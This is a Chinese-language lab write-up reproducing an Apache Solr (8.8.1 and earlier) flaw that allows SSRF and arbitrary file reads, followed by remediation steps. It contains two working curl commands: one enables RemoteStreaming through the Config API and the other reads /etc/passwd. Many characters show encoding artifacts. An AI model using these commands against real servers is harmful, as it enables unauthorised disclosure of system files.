0x00簡介
Solr是一個(gè)獨(dú)立的企業(yè)級搜索應(yīng)用服務(wù)器,它對外提供類似于Web-service的API接口。用戶可以通過http請求,向搜索引擎服務(wù)器提交一定格式的XML文件,生成索引;也可以通過Http Get操作提出查找請求,并得到XML格式的返回結(jié)果.
0x01漏洞概述
Apache Solr 是一個(gè)開源的搜索服務(wù)器。在Apache Solr未開啟認(rèn)證的情況下,攻擊者可直接構(gòu)造特定請求開啟特定配置,并最終造成SSRF或任意文件讀取.
0x02影響范圍
Apache Solr <= 8.8.1均受影響
0x03環(huán)境搭建
這里我們利用東塔攻防世界的靶場來復(fù)現(xiàn)這個(gè)漏洞。

0x04漏洞復(fù)現(xiàn)
1,首先我們啟動(dòng)靶場
2,訪問靶場的首頁
3,訪問地址:http://ip:port/solr/admin/cores?indexInfo=false&wt=json
4,發(fā)送如下數(shù)據(jù)包,修改數(shù)據(jù)庫demo的配置,開啟RemoteStreaming:
curl -i -s -k -X $'POST' -H $'Content-Type: application/json' --data-binary $'{\"set-property\":{\"requestDispatcher.requestParsers.enableRemoteStreaming\":true}}' $'http://120.25.24.45:30277/solr/demo/config'
5,再通過stream.url讀取任意文件:
curl -i -s -k 'http://120.25.24.45:30277/solr/demo/debug/dump?param=ContentStreams&stream.url=file:///etc/passwd'

0x05修復(fù)建議
1.首先關(guān)閉ConfigAPI,禁止通過API修改配置,在bin目錄下的solr.in.cmd中加入一行set SOLR_OPTS=%SOLR_OPTS% -Ddisable.configEdit=true
2,然后關(guān)閉遠(yuǎn)程讀取文件流,默認(rèn)情況下遠(yuǎn)程讀取文件流是不開啟的:
在server/solr目錄下尋找與core相同名字的目錄,比如名字為core1
如果你發(fā)現(xiàn)core1/conf/configoverlay.json文件中存在開啟遠(yuǎn)程讀取文件流的配置,那么你很有可能被攻擊成功了
修復(fù)方法是:把core1/conf/configoverlay.json中的遠(yuǎn)程讀取文件流的配置修改為false(如果只有這一條配置,也可以將整個(gè)文件刪除)
{"props":{"requestDispatcher":{"requestParsers":{"enableRemoteStreaming":false}}}}